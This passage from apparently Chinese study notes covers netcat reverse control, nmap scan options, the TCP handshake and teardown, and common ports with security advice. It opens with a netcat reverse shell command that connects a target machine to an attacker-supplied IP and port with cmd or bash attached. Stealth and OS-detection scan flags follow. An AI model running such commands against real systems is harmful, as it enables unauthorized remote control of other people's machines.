&lt;h4 id=&#34;反向控制&#34;&gt;反向控制
&lt;/h4&gt;&lt;p&gt;目标每次自己连接入侵者&lt;/p&gt;
&lt;p&gt;目标(被控)：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -nv [入侵者ip] [端口号] -e cmd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：如果目标系统为linux则将&lt;/strong&gt;&lt;code&gt;-e cmd&lt;/code&gt;&lt;strong&gt;改为&lt;/strong&gt;&lt;code&gt;-c bash&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;nmap的使用&#34;&gt;nmap的使用
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;nmap [可选参数] [目标ip]&lt;/code&gt;	普通扫描&lt;/p&gt;
&lt;p&gt;参数：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sT&lt;/code&gt;	tcp扫描&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sS&lt;/code&gt;	隐秘扫描（不形成三次握手）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sL&lt;/code&gt;	[扫描一个ip段] 例如192.168.0.1/24 (指从192.168.0.1到192.168.0.255) 主要用于批量主机发现&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sn&lt;/code&gt;	ping扫描，只发现主机，不扫描端口，通常结合&lt;code&gt;-sL&lt;/code&gt;使用&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-Pn&lt;/code&gt;	将所有主机假定开机，跳过主机发现的过程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-P0&lt;/code&gt;	使用ip协议探测主机是否开启&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sU&lt;/code&gt;	使用UDP扫描&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-p&lt;/code&gt;		指定扫描那些端口，例如&lt;code&gt;nmap -p 80,443,3380 192.168.1.0/24&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-O&lt;/code&gt;		识别操作系统，例如&lt;code&gt;nmap -O --osscan-guess 192.168.172.130&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-A&lt;/code&gt; 		强力模式，自动调用脚本获取最多信息，但也最慢&lt;/p&gt;
&lt;h1 id=&#34;追加网络相关&#34;&gt;追加：网络相关
&lt;/h1&gt;&lt;h2 id=&#34;tcp的三次握手与四次挥手&#34;&gt;TCP的三次握手与四次挥手
&lt;/h2&gt;&lt;p&gt;TCP（Transmission Control Protocol，传输控制协议）是 &lt;strong&gt;面向连接、可靠的字节流协议&lt;/strong&gt;，其核心机制 “三次握手”（建立连接）和 “四次挥手”（释放连接）是保障数据可靠传输的基础。&lt;/p&gt;
&lt;h3 id=&#34;核心前提tcp-报文关键字段&#34;&gt;核心前提：TCP 报文关键字段
&lt;/h3&gt;&lt;p&gt;在理解握手 / 挥手前，需先掌握 TCP 报文中的 3 个核心标志位和 2 个序列号字段，这是通信的 “信号标识”：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th style=&#34;text-align: left&#34;&gt;&lt;strong&gt;字段&lt;/strong&gt;&lt;/th&gt;
          &lt;th style=&#34;text-align: left&#34;&gt;&lt;strong&gt;作用&lt;/strong&gt;&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;strong&gt;SYN&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;同步标志（Synchronize）：用于发起连接，请求同步对方的序列号（&lt;code&gt;seq&lt;/code&gt;）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;strong&gt;ACK&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;确认标志（Acknowledgment）：用于确认收到数据，携带确认号（&lt;code&gt;ack&lt;/code&gt;）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;strong&gt;FIN&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;终止标志（Finish）：用于发起连接释放，告知对方 “我已无数据要发送”&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;strong&gt;seq（序列号）&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;标记当前发送数据的字节位置（随机初始化，后续按字节递增）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;strong&gt;ack（确认号）&lt;/strong&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;标记 “期望下次收到的对方序列号”（= 已收到的对方 seq + 1）&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注：TCP 是&lt;strong&gt;全双工通信&lt;/strong&gt;（双方可同时发送数据），因此每个方向都需要独立的序列号和确认机制。&lt;/p&gt;
&lt;h3 id=&#34;三次握手three-way-handshake建立可靠连接&#34;&gt;三次握手（Three-Way Handshake）：建立可靠连接
&lt;/h3&gt;&lt;h4 id=&#34;核心目的&#34;&gt;&lt;strong&gt;核心目的：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;双方确认彼此的 “发送能力” 和 “接收能力” 均正常；&lt;/li&gt;
&lt;li&gt;协商初始序列号（&lt;code&gt;seq&lt;/code&gt;），为后续数据传输的 “有序性” 和 “去重” 打下基础；&lt;/li&gt;
&lt;li&gt;避免 “失效的连接请求报文段” 导致错误连接。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;步骤拆解&#34;&gt;步骤拆解：
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第一次握手（客户端→服务器）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;客户端发送报文：&lt;code&gt;SYN=1&lt;/code&gt;（发起连接），&lt;code&gt;seq=x&lt;/code&gt;（x 是客户端随机生成的初始序列号，如 1000）；&lt;/li&gt;
&lt;li&gt;客户端状态变为 &lt;code&gt;SYN_SENT&lt;/code&gt;（等待服务器确认）；&lt;/li&gt;
&lt;li&gt;作用：告诉服务器 “我想和你建立连接，请你同步我的序列号”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次握手（服务器→客户端）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;服务器收到 SYN 后，回复报文：&lt;code&gt;SYN=1&lt;/code&gt;（同意建立连接，同步自己的序列号）+ &lt;code&gt;ACK=1&lt;/code&gt;（确认收到客户端的 SYN）；&lt;/li&gt;
&lt;li&gt;服务器序列号：&lt;code&gt;seq=y&lt;/code&gt;（y 是服务器随机生成的初始序列号，如 2000）；&lt;/li&gt;
&lt;li&gt;服务器确认号：&lt;code&gt;ack=x+1&lt;/code&gt;（表示 “我已收到你到 x 的所有数据，下次请从 x+1 开始发”）；&lt;/li&gt;
&lt;li&gt;服务器状态变为 &lt;code&gt;SYN_RCVD&lt;/code&gt;（等待客户端最终确认）；&lt;/li&gt;
&lt;li&gt;作用：服务器同时完成 “确认客户端接收 / 发送能力” 和 “发起自己的连接同步”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三次握手（客户端→服务器）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;客户端收到服务器的 SYN+ACK 后，回复报文：&lt;code&gt;ACK=1&lt;/code&gt;（确认收到服务器的 SYN）；&lt;/li&gt;
&lt;li&gt;客户端序列号：&lt;code&gt;seq=x+1&lt;/code&gt;（按字节递增，因第一次仅发送了 SYN 标志位，无数据字节，故 + 1）；&lt;/li&gt;
&lt;li&gt;客户端确认号：&lt;code&gt;ack=y+1&lt;/code&gt;（表示 “我已收到你到 y 的所有数据，下次请从 y+1 开始发”）；&lt;/li&gt;
&lt;li&gt;客户端状态变为 &lt;code&gt;ESTABLISHED&lt;/code&gt;（连接建立），服务器收到后也变为 &lt;code&gt;ESTABLISHED&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;作用：客户端最终确认服务器的连接请求，双方完成 “双向能力验证” 和 “序列号协商”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;关键设计逻辑为什么是-三次-而不是-两次&#34;&gt;&lt;strong&gt;关键设计逻辑：为什么是 “三次” 而不是 “两次”？&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;两次握手的风险&lt;/strong&gt;：若客户端发送的 “连接请求报文段” 因网络延迟未及时到达服务器，客户端会超时重发。若延迟的报文段后续到达服务器，服务器会误以为是新的连接请求，直接回复 SYN+ACK 并建立连接，但客户端此时已不需要该连接，会忽略服务器的回复，导致服务器资源被浪费（半连接状态）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三次握手的必要性&lt;/strong&gt;：第三次握手是客户端对服务器 SYN 的确认，确保 “服务器知道客户端已收到自己的连接响应”，从而避免上述资源浪费。只有三次握手，才能实现双方 “双向可靠确认”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;四次挥手four-way-wavehand释放连接&#34;&gt;四次挥手（Four-Way Wavehand）：释放连接
&lt;/h3&gt;&lt;h4 id=&#34;核心目的-1&#34;&gt;&lt;strong&gt;核心目的&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;TCP 是全双工通信，双方可同时发送数据。释放连接时，需确保：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;双方都已完成数据传输（无未发送 / 未接收的数据）；&lt;/li&gt;
&lt;li&gt;双方都明确 “对方已停止发送数据”，避免提前关闭连接导致数据丢失。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;步骤拆解-1&#34;&gt;步骤拆解：
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第一次挥手（客户端→服务器）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;客户端完成数据发送后，发送报文：&lt;code&gt;FIN=1&lt;/code&gt;（告知服务器 “我已无数据要发，请求关闭我的发送通道”）；&lt;/li&gt;
&lt;li&gt;客户端序列号：&lt;code&gt;seq=x+1&lt;/code&gt;（基于之前的数据传输进度，假设之前已发送到 x）；&lt;/li&gt;
&lt;li&gt;客户端确认号：&lt;code&gt;ack=y+1&lt;/code&gt;（确认之前收到的服务器数据）；&lt;/li&gt;
&lt;li&gt;客户端状态变为 &lt;code&gt;FIN_WAIT_1&lt;/code&gt;（等待服务器确认关闭）；&lt;/li&gt;
&lt;li&gt;注意：客户端关闭的是 “发送通道”，仍可接收服务器的数据（全双工特性）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次挥手（服务器→客户端）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;服务器收到 FIN 后，回复报文：&lt;code&gt;ACK=1&lt;/code&gt;（确认收到客户端的关闭请求）；&lt;/li&gt;
&lt;li&gt;服务器序列号：&lt;code&gt;seq=y+1&lt;/code&gt;（基于之前的传输进度）；&lt;/li&gt;
&lt;li&gt;服务器确认号：&lt;code&gt;ack=x+2&lt;/code&gt;（因客户端发送了 FIN 标志位，相当于 1 个字节的 “关闭请求数据”，故 x+1+1=x+2）；&lt;/li&gt;
&lt;li&gt;服务器状态变为 &lt;code&gt;CLOSE_WAIT&lt;/code&gt;（等待自己的数据发送完成后，再关闭自己的发送通道）；&lt;/li&gt;
&lt;li&gt;客户端收到后，状态变为 &lt;code&gt;FIN_WAIT_2&lt;/code&gt;（等待服务器的 FIN 报文）；&lt;/li&gt;
&lt;li&gt;作用：服务器确认 “客户端不再发送数据”，但自己可能仍有数据要发给客户端（如剩余的响应数据）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三次挥手（服务器→客户端）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;服务器完成所有数据发送后，发送报文：&lt;code&gt;FIN=1&lt;/code&gt;（告知客户端 “我也无数据要发，请求关闭我的发送通道”）；&lt;/li&gt;
&lt;li&gt;服务器序列号：&lt;code&gt;seq=y+1&lt;/code&gt;（无新数据发送，序列号不变）；&lt;/li&gt;
&lt;li&gt;服务器确认号：&lt;code&gt;ack=x+2&lt;/code&gt;（与第二次挥手一致）；&lt;/li&gt;
&lt;li&gt;服务器状态变为 &lt;code&gt;LAST_ACK&lt;/code&gt;（等待客户端最终确认）；&lt;/li&gt;
&lt;li&gt;作用：服务器关闭自己的发送通道，告知客户端 “可以彻底关闭连接了”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第四次挥手（客户端→服务器）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;客户端收到服务器的 FIN 后，回复报文：&lt;code&gt;ACK=1&lt;/code&gt;（确认收到服务器的关闭请求）；&lt;/li&gt;
&lt;li&gt;客户端序列号：&lt;code&gt;seq=x+2&lt;/code&gt;（基于之前的确认号）；&lt;/li&gt;
&lt;li&gt;客户端确认号：&lt;code&gt;ack=y+2&lt;/code&gt;（服务器的 FIN 相当于 1 个字节，故 y+1+1=y+2）；&lt;/li&gt;
&lt;li&gt;客户端状态变为 &lt;code&gt;TIME_WAIT&lt;/code&gt;（等待 2MSL 后关闭），服务器收到后状态变为 &lt;code&gt;CLOSED&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;客户端等待 2MSL（Maximum Segment Lifetime，报文最大生存时间，默认 2 分钟）后，状态变为 &lt;code&gt;CLOSED&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;作用：确保服务器能收到客户端的最终确认（避免服务器因报文丢失而重发 FIN）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;关键设计逻辑为什么是-四次-而不是-三次&#34;&gt;关键设计逻辑：为什么是 “四次” 而不是 “三次”？
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心原因&lt;/strong&gt;：TCP 是全双工通信，双方的 “发送通道” 需要独立关闭。&lt;/li&gt;
&lt;li&gt;第三次握手时，服务器可以同时发送 SYN 和 ACK（因为此时服务器还未发送数据，可合并报文）；&lt;/li&gt;
&lt;li&gt;四次挥手时，服务器收到客户端的 FIN 后，可能仍有数据要发送，无法立即发送 FIN（需先完成数据传输），因此必须分两步：先回复 ACK（确认客户端关闭），再发送 FIN（自己关闭），导致比三次握手多一次报文交互。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;关键细节time_wait-状态的作用&#34;&gt;关键细节：TIME_WAIT 状态的作用
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的 1&lt;/strong&gt;：确保最后一个 ACK 报文能到达服务器（若服务器未收到 ACK，会重发 FIN，客户端在 TIME_WAIT 期间可重新回复）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的 2&lt;/strong&gt;：避免 “失效的报文段” 干扰新连接（TIME_WAIT 期间，客户端会丢弃所有来自该连接的旧报文段）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实际影响&lt;/strong&gt;：服务器若频繁关闭连接，会积累大量 TIME_WAIT 状态的端口，导致端口耗尽（可通过调整&lt;code&gt;net.ipv4.tcp_tw_reuse&lt;/code&gt;等内核参数优化）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;端口&#34;&gt;端口
&lt;/h2&gt;&lt;p&gt;端口是计算机网络中用于区分不同服务/应用的逻辑地址（范围：0-65535），按用途可分为 &lt;strong&gt;知名端口（0-1023）&lt;/strong&gt;、&lt;strong&gt;注册端口（1024-49151）&lt;/strong&gt; 和 &lt;strong&gt;动态端口（49152-65535）&lt;/strong&gt;。以下是开发者和日常使用中最常见的端口及其核心特点，按场景分类整理，方便查阅：&lt;/p&gt;
&lt;h3 id=&#34;核心网络服务端口知名端口0-1023&#34;&gt;核心网络服务端口（知名端口，0-1023）
&lt;/h3&gt;&lt;p&gt;这类端口由 IANA 分配，对应基础网络服务，默认端口固定，是网络通信的基础。&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;端口号&lt;/th&gt;
          &lt;th&gt;协议&lt;/th&gt;
          &lt;th&gt;服务/应用&lt;/th&gt;
          &lt;th&gt;核心特点&lt;/th&gt;
          &lt;th&gt;使用场景&lt;/th&gt;
          &lt;th&gt;安全注意事项&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;21&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;FTP（文件传输）&lt;/td&gt;
          &lt;td&gt;明文传输用户名/密码和文件数据，不加密；主动模式（服务器连客户端20端口）/被动模式&lt;/td&gt;
          &lt;td&gt;传统文件传输（已逐渐被替代）&lt;/td&gt;
          &lt;td&gt;风险极高！明文传输易被窃听，建议用 &lt;strong&gt;SFTP（22端口）&lt;/strong&gt; 或 &lt;strong&gt;FTPS&lt;/strong&gt; 替代&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;22&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;SSH（安全外壳）&lt;/td&gt;
          &lt;td&gt;加密远程登录/命令执行，支持端口转发、文件传输（SFTP），替代Telnet&lt;/td&gt;
          &lt;td&gt;服务器远程管理（Linux/云服务器）&lt;/td&gt;
          &lt;td&gt;建议修改默认端口（如2222），禁用密码登录（仅用SSH密钥），限制登录IP&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;23&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Telnet（远程登录）&lt;/td&gt;
          &lt;td&gt;明文传输，无加密，安全性极差&lt;/td&gt;
          &lt;td&gt;早期设备管理（已淘汰）&lt;/td&gt;
          &lt;td&gt;完全不推荐使用！用SSH（22端口）替代&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;25&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;SMTP（邮件发送）&lt;/td&gt;
          &lt;td&gt;用于邮件服务器之间发送邮件，或客户端向服务器提交邮件（需配合认证）&lt;/td&gt;
          &lt;td&gt;邮件服务（如Postfix、Sendmail）&lt;/td&gt;
          &lt;td&gt;默认无加密，建议开启TLS（465端口），配置SPF/DKIM防止邮件伪造&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;53&lt;/td&gt;
          &lt;td&gt;TCP/UDP&lt;/td&gt;
          &lt;td&gt;DNS（域名解析）&lt;/td&gt;
          &lt;td&gt;UDP用于普通查询（快，无连接）；TCP用于区域传输（数据量大，可靠）&lt;/td&gt;
          &lt;td&gt;域名解析（如访问网站、API）&lt;/td&gt;
          &lt;td&gt;开放公共DNS需注意防护DDoS攻击；内网建议部署本地DNS缓存（如Pi-hole）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;80&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;HTTP（超文本传输）&lt;/td&gt;
          &lt;td&gt;明文传输网页数据，无加密，是Web服务默认端口&lt;/td&gt;
          &lt;td&gt;普通网站访问、HTTP API&lt;/td&gt;
          &lt;td&gt;仅用于测试/内部服务，公网必须升级为HTTPS（443端口），否则数据易被篡改窃听&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;443&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;HTTPS（加密HTTP）&lt;/td&gt;
          &lt;td&gt;基于TLS/SSL加密，保障数据传输安全，支持HTTP/2、HTTP/3&lt;/td&gt;
          &lt;td&gt;HTTPS网站、加密API、小程序&lt;/td&gt;
          &lt;td&gt;必须配置有效SSL证书（Let’s Encrypt免费），禁用弱加密套件（如TLS 1.0/1.1）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;110&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;POP3（邮件接收）&lt;/td&gt;
          &lt;td&gt;明文接收邮件，无加密&lt;/td&gt;
          &lt;td&gt;客户端接收邮件（已淘汰）&lt;/td&gt;
          &lt;td&gt;用POP3S（995端口，加密）替代&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;143&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;IMAP（邮件接收）&lt;/td&gt;
          &lt;td&gt;支持邮件文件夹同步、标记管理，明文传输&lt;/td&gt;
          &lt;td&gt;客户端接收邮件（主流）&lt;/td&gt;
          &lt;td&gt;用IMAPS（993端口，加密）替代，开启邮件二次验证&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;389&lt;/td&gt;
          &lt;td&gt;TCP/UDP&lt;/td&gt;
          &lt;td&gt;LDAP（目录服务）&lt;/td&gt;
          &lt;td&gt;用于用户身份认证、组织架构管理（如企业内网）&lt;/td&gt;
          &lt;td&gt;企业内网身份验证&lt;/td&gt;
          &lt;td&gt;明文传输风险高，用LDAPS（636端口，加密）替代&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;445&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;SMB（文件共享）&lt;/td&gt;
          &lt;td&gt;Windows文件共享、打印机共享，支持跨设备访问&lt;/td&gt;
          &lt;td&gt;内网文件共享（Windows/Mac）&lt;/td&gt;
          &lt;td&gt;漏洞频发（如永恒之蓝），公网禁止开放；内网限制访问IP，关闭匿名登录&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;开发者常用端口注册端口1024-49151&#34;&gt;开发者常用端口（注册端口，1024-49151）
&lt;/h3&gt;&lt;p&gt;这类端口由应用程序注册使用，默认端口可配置修改，是开发、测试、部署中高频接触的端口。&lt;/p&gt;
&lt;h4 id=&#34;数据库端口&#34;&gt;数据库端口
&lt;/h4&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;端口号&lt;/th&gt;
          &lt;th&gt;协议&lt;/th&gt;
          &lt;th&gt;数据库/服务&lt;/th&gt;
          &lt;th&gt;核心特点&lt;/th&gt;
          &lt;th&gt;使用场景&lt;/th&gt;
          &lt;th&gt;安全注意事项&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;3306&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;MySQL/MariaDB&lt;/td&gt;
          &lt;td&gt;关系型数据库默认端口，支持主从复制、事务&lt;/td&gt;
          &lt;td&gt;Web开发、数据分析&lt;/td&gt;
          &lt;td&gt;公网禁止开放！内网绑定本地IP（127.0.0.1），设置强密码，限制访问IP&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;5432&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;PostgreSQL&lt;/td&gt;
          &lt;td&gt;开源关系型数据库，支持复杂查询、JSON数据&lt;/td&gt;
          &lt;td&gt;后端开发、大数据应用&lt;/td&gt;
          &lt;td&gt;同MySQL，禁用远程匿名访问，开启SSL加密&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;1433&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;SQL Server&lt;/td&gt;
          &lt;td&gt;微软SQL Server数据库默认端口&lt;/td&gt;
          &lt;td&gt;.NET开发、企业应用&lt;/td&gt;
          &lt;td&gt;公网不开放，内网限制IP，启用Windows认证或混合认证&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;27017&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;MongoDB&lt;/td&gt;
          &lt;td&gt;文档型数据库，无Schema，支持分布式存储&lt;/td&gt;
          &lt;td&gt;大数据、API后端、NoSQL应用&lt;/td&gt;
          &lt;td&gt;默认无认证！需启用访问控制（用户名密码），绑定内网IP，禁止公网暴露&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;6379&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Redis&lt;/td&gt;
          &lt;td&gt;内存缓存数据库，高性能，支持多种数据结构&lt;/td&gt;
          &lt;td&gt;缓存、会话存储、消息队列&lt;/td&gt;
          &lt;td&gt;高危！默认无密码，需设置密码、绑定本地IP、开启防火墙，禁用公网访问&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;9200&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Elasticsearch&lt;/td&gt;
          &lt;td&gt;全文搜索引擎，支持分布式、实时检索&lt;/td&gt;
          &lt;td&gt;日志分析、全文搜索功能&lt;/td&gt;
          &lt;td&gt;禁用匿名访问，配置用户认证（如X-Pack），限制访问IP&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id=&#34;web开发服务器端口&#34;&gt;Web开发/服务器端口
&lt;/h4&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;端口号&lt;/th&gt;
          &lt;th&gt;协议&lt;/th&gt;
          &lt;th&gt;服务/框架&lt;/th&gt;
          &lt;th&gt;核心特点&lt;/th&gt;
          &lt;th&gt;使用场景&lt;/th&gt;
          &lt;th&gt;安全注意事项&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;8080&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;通用Web端口&lt;/td&gt;
          &lt;td&gt;开发环境默认端口（如Tomcat、Nginx反向代理），非特权端口&lt;/td&gt;
          &lt;td&gt;本地开发测试、内网Web服务&lt;/td&gt;
          &lt;td&gt;公网部署需映射到80/443，禁止直接暴露8080；开启认证（如Basic Auth）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;8000&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;开发服务器&lt;/td&gt;
          &lt;td&gt;Python Flask/Django、Node.js默认开发端口&lt;/td&gt;
          &lt;td&gt;本地开发调试（如&lt;code&gt;python manage.py runserver&lt;/code&gt;）&lt;/td&gt;
          &lt;td&gt;仅用于本地测试，切勿公网开放（无安全防护）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;3000&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Node.js/React&lt;/td&gt;
          &lt;td&gt;Node.js Express、React开发服务器默认端口&lt;/td&gt;
          &lt;td&gt;前端/Node.js后端开发&lt;/td&gt;
          &lt;td&gt;同8000，本地测试专用，公网需通过Nginx反向代理并配置HTTPS&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;4000&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Hugo/Gatsby&lt;/td&gt;
          &lt;td&gt;Hugo开发服务器默认端口（&lt;code&gt;hugo server -p 4000&lt;/code&gt;）&lt;/td&gt;
          &lt;td&gt;静态博客本地预览（如GitHub Pages博客）&lt;/td&gt;
          &lt;td&gt;仅本地使用，无需公网开放，预览后部署到GitHub Pages（80/443端口）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;8096&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Jellyfin&lt;/td&gt;
          &lt;td&gt;媒体服务器默认端口（Web管理界面+流媒体传输）&lt;/td&gt;
          &lt;td&gt;云/内网媒体库（如之前提到的Jellyfin）&lt;/td&gt;
          &lt;td&gt;公网访问需配置HTTPS（反向代理+SSL），设置强密码，限制登录IP&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;8888&lt;/td&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;Jupyter Notebook&lt;/td&gt;
          &lt;td&gt;Python交互式开发环境默认端口&lt;/td&gt;
          &lt;td&gt;数据分析、机器学习开发&lt;/td&gt;
          &lt;td&gt;本地使用需设置密码（&lt;code&gt;jupyter notebook password&lt;/code&gt;），公网需端口转发+HTTPS&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id=&#34;其他开发工具端口&#34;&gt;其他开发工具端口
&lt;/h4&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;端口号&lt;/th&gt;
          &lt;th&gt;协议&lt;/th&gt;
          &lt;th&gt;工具/服务&lt;/th&gt;
          &lt;th&gt;核心特点&lt;/th&gt;
          &lt;th&gt;使用场景&lt;/th&gt;
          &lt;th&gt;安全注意事项&lt;/th&gt;
